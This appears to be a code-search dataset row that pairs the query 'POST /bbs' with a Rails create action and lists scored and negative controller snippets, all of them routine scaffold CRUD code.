"def show\n #@item = Bid.find(params[:auction_uniq_id])\n\n @bid = Bid.all\n @item = Item.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bid }\n end\n end",
"def show\n @basketball = Basketball.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basketball }\n end\n end",
"def set_bb\n @bb = Bb.find(params[:id])\n end",
"def index\n @bbs_threads = BbsThread.order(\"updated_at DESC\").page(params[:page])\n end",
"def show\n @black_list = BlackList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @black_list }\n end\n end",
"def show\n @baton = Baton.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baton }\n end\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def show\n @lbaa = Lbaa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lbaa }\n end\n end",
"def show\n @c_blog = CBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_blog }\n end\n end",
"def show\n render json: @bid\n end",
"def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end",
"def show\n render json: UserBoards.find(params[\"id\"])\n end",
"def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end",
"def blogs\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end",
"def index\n @briefs = Brief.includes(:user).order(created_at: :desc).all\n render json: @briefs, each_serializer: BriefsSerializer\n end",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def index\n @boards = Board.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boards }\n end\n end",
"def show\n @lbd = Lbd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lbd }\n end\n end",
"def new\n @b = B.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @b }\n end\n end"
] | [
"0.71855927",
"0.6808038",
"0.6551085",
"0.6516438",
"0.64267075",
"0.63805646",
"0.6335485",
"0.62698764",
"0.61947685",
"0.6191861",
"0.61855793",
"0.61830115",
"0.6153444",
"0.61476344",
"0.61445636",
"0.611823",
"0.61085",
"0.60997295",
"0.6036686",
"0.60331",
"0.6003123",
"0.5971409",
"0.59383065",
"0.5929566",
"0.58893335",
"0.5869318",
"0.5858319",
"0.5843079",
"0.5843079",
"0.58325464",
"0.58210194",
"0.5814387",
"0.58141637",
"0.5814014",
"0.5804412",
"0.57904935",
"0.578096",
"0.577614",
"0.57748574",
"0.5754838",
"0.5751829",
"0.57516414",
"0.57444435",
"0.5742657",
"0.57321674",
"0.57044953",
"0.5703066",
"0.5701991",
"0.5699261",
"0.5684893",
"0.56827927",
"0.56803125",
"0.5663787",
"0.56628054",
"0.5661617",
"0.5660303",
"0.5657349",
"0.5657343",
"0.565155",
"0.56504565",
"0.56495905",
"0.56434906",
"0.5635061",
"0.5628797",
"0.56270754",
"0.56186074",
"0.56114066",
"0.5611052",
"0.5610926",
"0.56106085",
"0.5606391",
"0.56058675",
"0.56049067",
"0.55994153",
"0.5598674",
"0.5597074",
"0.5597074",
"0.55946255",
"0.5592867",
"0.5592753",
"0.5592467",
"0.55906504",
"0.5587967",
"0.5578718",
"0.5568079",
"0.5566404",
"0.5561788",
"0.55617285",
"0.5560417",
"0.5558389",
"0.5555018",
"0.5551097",
"0.5546091",
"0.55425555",
"0.5541714",
"0.55416375",
"0.55386245",
"0.55357736",
"0.55357736",
"0.5534111",
"0.5530436"
] | 0.0 | -1 |
POST /bbs POST /bbs.json | def create
@bb = Bb.new(bb_params)
respond_to do |format|
if @bb.save
format.html { redirect_to @bb, notice: 'Bb was successfully created.' }
format.json { render :show, status: :created, location: @bb }
else
format.html { render :new }
format.json { render json: @bb.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @bb = Bb.new(params[:bb])\n\n respond_to do |format|\n if @bb.save\n format.html { redirect_to @bb, notice: 'Bb was successfully created.' }\n format.json { render json: @bb, status: :created, location: @bb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bbs_thread = BbsThread.new(bbs_thread_params)\n\n respond_to do |format|\n if @bbs_thread.save\n write_bbs_session\n\n format.html { redirect_to @bbs_thread, notice: t('notice.thread.create') }\n format.json { render :show, status: :created, location: @bbs_thread }\n else\n format.html { render :new }\n format.json { render json: @bbs_thread.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bloque = Bloque.new(params[:bloque])\n\n if @bloque.save\n render json: @bloque, status: :created, location: @bloque\n else\n render json: @bloque.errors, status: :unprocessable_entity\n end\n end",
"def create\n @bs_blog = BsBlog.new(bs_blog_params)\n respond_to do |format|\n if @bs_blog.save\n format.html { redirect_to @bs_blog, notice: 'Bs blog was successfully created.' }\n format.json { render :show, status: :created, location: @bs_blog }\n else\n format.html { render :new }\n format.json { render json: @bs_blog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bbhk = Bbhk.new(bbhk_params)\n\n respond_to do |format|\n if @bbhk.save\n format.html { redirect_to @bbhk, notice: 'Bbhk was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bbhk }\n else\n format.html { render action: 'new' }\n format.json { render json: @bbhk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bnpb = Bnpb.new(bnpb_params)\n\n respond_to do |format|\n if @bnpb.save\n format.html { redirect_to @bnpb, notice: 'Bnpb was successfully created.' }\n format.json { render :show, status: :created, location: @bnpb }\n else\n format.html { render :new }\n format.json { render json: @bnpb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bounty = Bounty.new(bounty_params)\n\n respond_to do |format|\n if @bounty.save\n format.html { redirect_to @bounty, notice: 'Bounty was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bounty }\n else\n format.html { render action: 'new' }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tboat = Boat.new(boat_params)\n \tif boat.save\n \t\trender json: boat, status: 201\n \tend\n\tend",
"def create\n @weibo = Weibo.new(params[:weibo])\n\n respond_to do |format|\n if @weibo.save\n format.html { redirect_to @weibo, notice: 'Weibo was successfully created.' }\n format.json { render json: @weibo, status: :created, location: @weibo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bs_type = BsType.new(bs_type_params)\n\n respond_to do |format|\n if @bs_type.save\n format.html { redirect_to @bs_type, notice: 'Bs type was successfully created.' }\n format.json { render :show, status: :created, location: @bs_type }\n else\n format.html { render :new }\n format.json { render json: @bs_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bb = Bb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bb }\n end\n end",
"def create\n @boook = Boook.new(boook_params)\n\n respond_to do |format|\n if @boook.save\n format.html { redirect_to @boook, notice: 'Boook was successfully created.' }\n format.json { render :show, status: :created, location: @boook }\n else\n format.html { render :new }\n format.json { render json: @boook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @b = B.new(params[:b])\n\n respond_to do |format|\n if @b.save\n format.html { redirect_to @b, notice: 'B was successfully created.' }\n format.json { render json: @b, status: :created, location: @b }\n else\n format.html { render action: \"new\" }\n format.json { render json: @b.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blast = Blast.new(params[:blast])\n @blast.start_at = Time.now\n @blast.owner_id = current_user.id\n @blast.status = \"pending\"\n\n respond_to do |format|\n if @blast.save\n format.html { redirect_to blasts_path, notice: 'Blast was successfully created.' }\n format.json { render json: @blast, status: :created, location: @blast }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blast.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params.permit(:title, :content, :board_id))\n @post.user = @user\n if (@post.save)\n render json: @post, status: :created\n else\n render json: @post.errors, status: 422\n end\n end",
"def create\n @scribble = Scribble.new(params[:scribble])\n @scribble.posted_by_uid=current_user.beamer_id\n @scribble.posted_by=current_user.first_name+\" \"+current_user.last_name\n @scribble.ups=0\n @scribble.downs=0\n respond_to do |format|\n if @scribble.save!\n format.html { redirect_to root_path }\n format.json { render :json => @scribble, :status => :created, :location => @scribble }\n else\n format.html { redirect_to root_path }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @kb = Kb.new(params[:kb])\n\n respond_to do |format|\n if @kb.save\n format.html { redirect_to @kb, :notice => 'Kb was successfully created.' }\n format.json { render :json => @kb, :status => :created, :location => @kb }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @kb.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @boc = Boc.new(boc_params)\n\n respond_to do |format|\n if @boc.save\n format.html { redirect_to new_boc_path, notice: 'Boc was successfully created.' }\n format.json { render :show, status: :created, location: @boc }\n else\n format.html { render :new }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookmark = Bookmark.new(params[:bookmark])\n# req = ActiveSupport::JSON.decode(request.body)\n# @bookmark = Bookmark.new(req)\n\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def bb_params\n params.require(:bb).permit(:name, :mem_no)\n end",
"def create\n @bp = Bp.new(params[:bp])\n\n respond_to do |format|\n if @bp.save\n format.html { redirect_to @bp, notice: 'Bp was successfully created.' }\n format.json { render json: @bp, status: :created, location: @bp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bunny = Bunny.new(bunny_params)\n\n respond_to do |format|\n if @bunny.save\n format.html { redirect_to @bunny, notice: 'Bunny was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bunny }\n else\n format.html { render action: 'new' }\n format.json { render json: @bunny.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(body)\n server = XMLRPC::Client.new2('http://www.juggernautguild.com/interface/board/')\n\n response = server.call('postTopic', {\n :api_module => 'ipb',\n :api_key => Juggernaut[:ipb_api_key],\n :member_field => 'id',\n :member_key => 4095, # Attendance\n :forum_id => 10,\n :topic_title => self.to_s,\n :post_content => body\n })\n end",
"def bbs_thread_params\n params.require(:bbs_thread).permit(:name, :address, :title, :body, :password)\n end",
"def create\n @bicyclepost = Bicyclepost.new(bicyclepost_params)\n\n respond_to do |format|\n if @bicyclepost.save\n format.html { redirect_to @bicyclepost, notice: 'Bicyclepost was successfully created.' }\n format.json { render :show, status: :created, location: @bicyclepost }\n else\n format.html { render :new }\n format.json { render json: @bicyclepost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(content)\n post_to(\"/api/v1/messages/\", {:body => content})\n end",
"def create\n @facebook_blast = FacebookBlast.new(params[:facebook_blast])\n\n respond_to do |format|\n if @facebook_blast.save\n format.html { redirect_to @facebook_blast, notice: 'Facebook blast was successfully created.' }\n format.json { render json: @facebook_blast, status: :created, location: @facebook_blast }\n else\n format.html { render action: \"new\" }\n format.json { render json: @facebook_blast.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bok = Bok.new(bok_params)\n\n respond_to do |format|\n if @bok.save\n format.html { redirect_to @bok, notice: 'Bok was successfully created.' }\n format.json { render :show, status: :created, location: @bok }\n else\n format.html { render :new }\n format.json { render json: @bok.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @buisiness = Buisiness.new(buisiness_params)\n\n respond_to do |format|\n if @buisiness.save\n format.html { redirect_to @buisiness, notice: 'Buisiness was successfully created.' }\n format.json { render :show, status: :created, location: @buisiness }\n else\n format.html { render :new }\n format.json { render json: @buisiness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # render json: params\n render json: UserBoards.create(params[\"user_board\"])\n end",
"def create\n @broad = Broad.new(params[:broad])\n\n respond_to do |format|\n if @broad.save\n format.html { redirect_to @broad, notice: 'Broad was successfully created.' }\n format.json { render json: @broad, status: :created, location: @broad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bl = Bl.new(params[:bl])\n\n respond_to do |format|\n if @bl.save\n format.html { redirect_to @bl, notice: 'Bl was successfully created.' }\n format.json { render json: @bl, status: :created, location: @bl }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boat = Boat.new(boat_params)\n\n respond_to do |format|\n if @boat.save\n format.html { redirect_to @boat, notice: 'Boat was successfully created.' }\n format.json { render :show, status: :created, location: @boat }\n else\n format.html { render :new }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @basin = Basin.new(params[:basin])\n\n respond_to do |format|\n if @basin.save\n format.html { redirect_to @basin, notice: 'Basin was successfully created.' }\n format.json { render json: @basin, status: :created, location: @basin }\n else\n format.html { render action: \"new\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def CreateForum params = {}\n \n APICall(path: 'forums.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n @bout = Bout.new(params[:bout])\n\n respond_to do |format|\n if @bout.save\n format.html { redirect_to(@bout, :notice => 'Bout was successfully created.') }\n format.xml { render :xml => @bout, :status => :created, :location => @bout }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bout.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @rb = Rb.new(rb_params)\n respond_to do |format|\n if @rb.save\n format.html { redirect_to rbs_path, notice: 'Erfolgreich erstellt.' }\n format.json { render :show, status: :created, location: @rb }\n else\n format.html { render :new }\n format.json { render json: @rb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wb = Wb.new(wb_params)\n\n respond_to do |format|\n if @wb.save\n format.html { redirect_to @wb, notice: 'Wb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @wb }\n else\n format.html { render action: 'new' }\n format.json { render json: @wb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@buddy = Buddy.new(buddy_params)\n @buddy = current_user.buddies.build(buddy_params)\n\n respond_to do |format|\n if @buddy.save\n format.html { redirect_to @buddy, notice: \"Buddy was successfully created.\" }\n format.json { render :show, status: :created, location: @buddy }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @buddy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @billboard = Billboard.new(billboard_params)\n\n respond_to do |format|\n if @billboard.save\n format.html { redirect_to @billboard, notice: 'Billboard was successfully created.' }\n format.json { render :show, status: :created, location: @billboard }\n else\n format.html { render :new }\n format.json { render json: @billboard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bloqueo = Bloqueo.new(bloqueo_params)\n\n respond_to do |format|\n if @bloqueo.save\n format.html { redirect_to @bloqueo, notice: 'Bloqueo was successfully created.' }\n format.json { render :show, status: :created, location: @bloqueo }\n else\n format.html { render :new }\n format.json { render json: @bloqueo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bs_table = BsTable.new(bs_table_params)\n\n respond_to do |format|\n if @bs_table.save\n format.html { redirect_to @bs_table, notice: 'Bs table was successfully created.' }\n format.json { render :show, status: :created, location: @bs_table }\n else\n format.html { render :new }\n format.json { render json: @bs_table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boite = Boite.new(boite_params)\n\n respond_to do |format|\n if @boite.save\n format.html { redirect_to @boite, notice: 'Boite was successfully created.' }\n format.json { render :show, status: :created, location: @boite }\n else\n format.html { render :new }\n format.json { render json: @boite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def create\n response.headers['Content-Type'] = 'text/javascript'\n\n attributes = params.require(:board).permit(:name)\n @board = Board.create!(attributes)\n $redis.publish('boards:create', @board.to_json)\n render nothing: true\n end",
"def create\n @bow = Bow.new(bow_params)\n\n respond_to do |format|\n if @bow.save\n format.html { redirect_to @bow, notice: 'Bow was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bow }\n else\n format.html { render action: 'new' }\n format.json { render json: @bow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bloom = Bloom.new(params[:bloom])\n\n respond_to do |format|\n if @bloom.save\n format.html { redirect_to @bloom, notice: 'Bloom was successfully created.' }\n format.json { render json: @bloom, status: :created, location: @bloom }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bloom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @spkj_bsb = SpkjBsb.new(params[:spkj_bsb])\n # @spkj_bsb.tname=current_user.name\n @spkj_bsb.user_id = current_user.id\n @spkj_bsb.uid = current_user.uid\n @spkj_bsb.sp_s_52=current_user.user_s_province\n @spkj_bsb.sp_i_state=1\n @spkj_bsb.save\n respond_to do |format|\n format.html { redirect_to(\"/spkj_bsbs\") }\n format.json { render json: @spkj_bsb }\n end\n end",
"def create\n @weibo = Weibo.new(params[:weibo])\n @weibo.userid=\"test\"\n # 获取当前时间(本地),纠正了时区\n @weibo.ctime= Time.now+8*60*60\n @weibo.wtype=\"1\"\n @weibo.flag=\"0\"\n respond_to do |format|\n if @weibo.save\n format.html { render @weibo }\n # format.html { redirect_to weibos_path, notice: 'Weibo was successfully created.' }\n format.js{ render @weibo}\n # format.json { head :no_content }\n format.json { render @weibo, status: :created, location: @weibo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @brend = Brend.new(params[:brend])\n\n respond_to do |format|\n if @brend.save\n format.html { redirect_to @brend, notice: 'Brend was successfully created.' }\n format.json { render json: @brend, status: :created, location: @brend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @brend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @singleb = Singleb.new(singleb_params)\n\n respond_to do |format|\n if @singleb.save\n format.html { redirect_to @singleb, notice: 'Singleb was successfully created.' }\n format.json { render :show, status: :created, location: @singleb }\n else\n format.html { render :new }\n format.json { render json: @singleb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boy = Boy.new(params[:boy])\n\n respond_to do |format|\n if @boy.save\n format.html { redirect_to @boy, notice: 'Boy was successfully created.' }\n format.json { render json: @boy, status: :created, location: @boy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boy = Boy.new(params[:boy])\n\n respond_to do |format|\n if @boy.save\n format.html { redirect_to @boy, notice: 'Boy was successfully created.' }\n format.json { render json: @boy, status: :created, location: @boy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @boy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @b_twelf = BTwelf.new(b_twelf_params)\n\n respond_to do |format|\n if @b_twelf.save\n format.html { redirect_to @b_twelf, notice: 'B twelf was successfully created.' }\n format.json { render :show, status: :created, location: @b_twelf }\n else\n format.html { render :new }\n format.json { render json: @b_twelf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bbs = Bb.all\n end",
"def create\n @bitch = Bitch.new(bitch_params)\n\n respond_to do |format|\n if @bitch.save\n format.html { redirect_to @bitch, notice: 'Bitch was successfully created.' }\n format.json { render :show, status: :created, location: @bitch }\n else\n format.html { render :new }\n format.json { render json: @bitch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch = Branch.create(branch_params)\n if @branch.valid?\n render json: @branch, status: :accepted\n else\n render json: {errors: @branch.errors.full_messages}, status: :unprocessable_entity \n end\n end",
"def create\n @bacon = Bacon.new(bacon_params)\n\n respond_to do |format|\n if @bacon.save\n format.html { redirect_to @bacon, notice: 'Bacon was successfully created.' }\n format.json { render json: { bacon: @bacon }}\n else\n format.html { render action: 'new' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @buoy = Buoy.new(buoy_params)\n\n respond_to do |format|\n if @buoy.save\n format.html { redirect_to @buoy, notice: 'Buoy was successfully created.' }\n format.json { render :show, status: :created, location: @buoy }\n else\n format.html { render :new }\n format.json { render json: @buoy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bourbon = Bourbon.new(bourbon_params)\n\n respond_to do |format|\n if @bourbon.save\n format.html { redirect_to @bourbon, notice: 'Bourbon was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bourbon }\n else\n format.html { render action: 'new' }\n format.json { render json: @bourbon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bussiness = Bussiness.new(bussiness_params)\n @bussiness.user_id = current_user.id\n respond_to do |format|\n if @bussiness.save\n format.html { redirect_to current_user, notice: 'Business was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bussiness }\n else\n format.html { render action: 'new' }\n format.json { render json: @bussiness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boat = @harbour.boats.build(boat_params)\n @boat.save\n redirect_to harbour_boats_path(@harbour)\n # respond_to do |format|\n # if @boat.save\n # format.html { redirect_to harbour_boats_path, notice: 'Boat was successfully created.' }\n # format.json { render :show, status: :created, location: @boat }\n # else\n # format.html { render :new }\n # format.json { render json: @boat.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @bdatabase = Bdatabase.new(params[:bdatabase])\n\n respond_to do |format|\n if @bdatabase.save\n format.html { redirect_to @bdatabase, notice: 'Bdatabase was successfully created.' }\n format.json { render json: @bdatabase, status: :created, location: @bdatabase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bdatabase.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @live_aboard = LiveAboard.new(live_aboard_params)\n\n respond_to do |format|\n if @live_aboard.save\n format.html { redirect_to @live_aboard, notice: 'Live aboard was successfully created.' }\n format.json { render :show, status: :created, location: @live_aboard }\n else\n format.html { render :new }\n format.json { render json: @live_aboard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bustour = Bustour.new(bustour_params)\n\n respond_to do |format|\n if @bustour.save\n format.html { redirect_to @bustour, notice: 'Bustour was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bustour }\n else\n format.html { render action: 'new' }\n format.json { render json: @bustour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bike_rack = BikeRack.new(bike_rack_params)\n\n respond_to do |format|\n if @bike_rack.save\n flash[:success] = 'Bike rack was successfully created.'\n format.html { redirect_to @bike_rack }\n format.json { render :show, status: :created, location: @bike_rack }\n else\n flash[:danger] = 'There was a problem with creating Bike rack.'\n format.html { render :new }\n format.json { render json: @bike_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def create\n @blogue = Blogue.new(blogue_params)\n\n respond_to do |format|\n if @blogue.save\n format.html { redirect_to @blogue, notice: 'Blogue was successfully created.' }\n format.json { render :show, status: :created, location: @blogue }\n else\n format.html { render :new }\n format.json { render json: @blogue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_blog = UserBlog.new(params[:user_blog])\n\n respond_to do |format|\n if @user_blog.save\n format.html { redirect_to \"/home/blog\", notice: '绑定成功.' }\n format.json { render json: @user_blog, status: :created, location: @user_blog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_blog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @weibo = Weibo.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def create\n @ba = Ba.new(ba_params)\n respond_to do |format|\n if @ba.save\n format.html { redirect_to :back, notice: 'ベストアンサーを選択しました' }\n format.json { render :show, status: :created, location: @ba }\n else\n format.html { render :new }\n format.json { render json: @ba.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stag_bcode = StagBcode.new(stag_bcode_params)\n\n respond_to do |format|\n if @stag_bcode.save\n format.html { redirect_to @stag_bcode, notice: 'Stag bcode was successfully created.' }\n format.json { render :show, status: :created, location: @stag_bcode }\n else\n format.html { render :new }\n format.json { render json: @stag_bcode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @can_bo = CanBo.new(can_bo_params)\ndebugger\n respond_to do |format|\n if @can_bo.save\n format.html { redirect_to @can_bo, notice: 'Can bo was successfully created.' }\n format.json { render :show, status: :created, location: @can_bo }\n else\n format.html { render :new }\n format.json { render json: @can_bo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blogger = Blogger.new(params[:blogger])\n\n respond_to do |format|\n if @blogger.save\n format.html { redirect_to \"/\", notice: 'Blogger was successfully created.' }\n format.json { render json: @blogger, status: :created, location: @blogger }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blogger.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bla = Bla.new(params[:bla])\n\n respond_to do |format|\n if @bla.save\n format.html { redirect_to @bla, :notice => 'Bla was successfully created.' }\n format.json { render :json => @bla, :status => :created, :location => @bla }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bagtype = Bagtype.new(params[:bagtype])\n\n respond_to do |format|\n if @bagtype.save\n format.html { redirect_to @bagtype, notice: 'Bagtype was successfully created.' }\n format.json { render json: @bagtype, status: :created, location: @bagtype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bagtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.created', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :created, location: @banco }\n else\n format.html { render :new }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end",
"def create\n @batter = Batter.new(batter_params)\n\n respond_to do |format|\n if @batter.save\n format.html { redirect_to @batter, notice: 'Batter was successfully created.' }\n format.json { render :show, status: :created, location: @batter }\n else\n format.html { render :new }\n format.json { render json: @batter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @meibo = Meibo.new(meibo_params)\n\n respond_to do |format|\n if @meibo.save\n format.html { redirect_to @meibo, notice: '名簿は正常に作成されました。' }\n format.json { render :show, status: :created, location: @meibo }\n else\n format.html { render :new }\n format.json { render json: @meibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bee = Bee.new(bee_params)\n\n respond_to do |format|\n if @bee.save\n format.html { redirect_to @bee, notice: 'Bee was successfully created.' }\n format.json { render :show, status: :created, location: @bee }\n else\n format.html { render :new }\n format.json { render json: @bee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @brag = Brag.new(params[:brag])\n\n respond_to do |format|\n if @brag.save\n format.html { redirect_to @brag, notice: 'Brag was successfully created.' }\n format.json { render json: @brag, status: :created, location: @brag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @brag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bingo = Bingo.new(bingo_params)\n\n respond_to do |format|\n if @bingo.save\n format.html { redirect_to @bingo, notice: \"Bingo was successfully created.\" }\n format.json { render :show, status: :created, location: @bingo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bingo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @labbranch = labbranch.new(params[:labbranch])\n\n respond_to do |format|\n if @labbranch.save\n format.html { redirect_to @labbranch, notice: 'labbranch was successfully created.' }\n format.json { render json: @labbranch, status: :created, location: @labbranch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @weibo = Weibo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weibo }\n end\n end",
"def post_new_gist content \n\t\t\t\turl = GITHUB_API_GIST_LINK \n\t\t\t\tresponse = https_open_for ({url: url, mthd:\"post\", content: content})\n \t\t\t\tJSON.parse response.body\n\t\t\tend",
"def POST; end",
"def create\n @bread = Bread.new(bread_params)\n @bread.bread_store_id = current_bread_store_manager.bread_store.id\n\n respond_to do |format|\n if @bread.save\n format.html { redirect_to @bread, notice: 'パンを作成した.' }\n format.json { render action: 'show', status: :created, location: @bread }\n else\n format.html { render action: 'new' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end",
